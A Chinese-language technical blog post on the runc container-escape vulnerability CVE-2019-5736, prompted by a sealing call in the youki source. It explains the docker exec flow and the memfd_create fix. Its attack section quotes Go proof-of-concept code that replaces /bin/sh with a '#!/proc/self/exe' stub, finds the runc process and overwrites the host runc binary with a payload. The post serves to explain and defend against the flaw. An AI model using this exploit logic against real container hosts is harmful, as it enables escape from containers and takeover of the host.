CVE-2019-5736-PoC
今天初看 youki
源码的时候,看到一个很有意思的代码,注释表明是和 CVE-2019-5736
漏洞相关,故而记录相关笔记。
pentacle::ensure_sealed().context("failed to seal /proc/self/exe")?;
// pentacle::ensure_sealed()
/// Ensure the currently running program is a sealed anonymous file.
///
/// If `/proc/self/exe` is not a sealed anonymous file, a new anonymous file is created,
/// `/proc/self/exe` is copied to it, the file is sealed, and [`CommandExt::exec`] is called. When
/// the program begins again, this function will detect `/proc/self/exe` as a sealed anonymous
/// file and return `Ok(())`.
exec 流程
故障版本:RunC version <=1.0-rc6
参考 《手写 docker》进行理解,docker exec 进入容器的时候,流程如下:
-
解析命令、找到容器,设置环境变量(1、2、3)
-
调用
/proc/self/exe
,fork 新进程,并关联宿主机的输入输出管道(4、5、6)func ExecContainer(containerName string, comArray []string) { pid, err := getContainerPidByName(containerName) if err != nil { log.Errorf("Exec container getContainerPidByName %s error %v", containerName, err) return } cmdStr := strings.Join(comArray, " ") log.Infof("container pid %s", pid) log.Infof("command %s", cmdStr) cmd := exec.Command("/proc/self/exe", "exec") cmd.Stdin = os.Stdin cmd.Stdout = os.Stdout cmd.Stderr = os.Stderr os.Setenv(ENV_EXEC_PID, pid) os.Setenv(ENV_EXEC_CMD, cmdStr) if err := cmd.Run(); err != nil { log.Errorf("Exec container %s error %v", containerName, err) } }
-
新进程 setns 系统,进入容器的 namespace ,执行命令(7、8)
攻击方式
攻击的前提条件:容器以特权模式运行,因此容器内部可以修改宿主机的 runc
二进制文件。
问题就出在第二步上。当容器被攻击侵入后,将容器内目前执行文件(如 /bin/sh
)替换为了 /proc/self/exe
。执行 docker exec xx /bin/sh
时,此时 /proc/self/exe
是宿主机上的容器运行时的程序链接(即 runc)。
fd, err := os.Create("/bin/sh")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
这个时候,恶意程序开始遍历查找 runc 的进程(注意查找的动作也是由 runc 进程完成的,因为这个时候本质上面流程的第 7 步),并拿到 runc 的文件描述符句柄。
// Loop through all processes to find one whose cmdline includes runcinit
// This will be the process created by runc
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") {
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
// 拿到句柄
var handleFd = -1
for handleFd == -1 {
// Note, you do not need to use the O_PATH flag for the exploit to work.
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
攻击者可以尝试覆盖 runc,替换为攻击代码 payload
。
因为在
runC
执行过程中内核不允许二进制文件被覆盖。要克服这个问题,攻击者可以用 O_PATH 标志打开到/proc/self/exe
的文件描述符,然后通过/proc/self/fd/
以 O_WRONLY 模式重新打开该二进制文件,并从单独的进程在一个忙碌循环中尝试写入它。
// payload 是攻击代码
// Now that we have the file handle, lets write to the runc binary and overwrite it
// It will maintain it's executable flag
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
fmt.Println("[+] The command executed is" + payload)
writeHandle.Write([]byte(payload))
return
}
}
因为 runc 是运行在宿主机上的,因此这个时候 payload
攻击代码 将由宿主机发起,带来风险。
解决措施
思路:当执行 exec 命令时,使用 memfd_create
克隆一份 /proc/self/exe
,而非使用原本的 /proc/self/exe
.
https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
memfd_create
可以理解为将文件拷贝到内存中。
好处:
- 更快(相对硬盘)
- 防止原本的二进制文件 runc 被修改。
- 由于匿名且封闭,因此无法被修改。
缺点:
- 无法进行 page-cache sharing。(因为每次都是独立的内存复制)
memfd_create() creates an anonymous file and returns a file descriptor that refers to it. The file behaves
like a regular file, and so can be modified, truncated, memory-mapped, and so on. However, unlike a regular
file, it lives in RAM and has a volatile backing storage. Once all references to the file are dropped, it is
automatically released. Anonymous memory is used for all backing pages of the file. Therefore, files created
by memfd_create() have the same semantics as other anonymous memory allocations such as those allocated using
mmap(2) with the MAP_ANONYMOUS flag.
欢迎来到这里!
我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。
注册 关于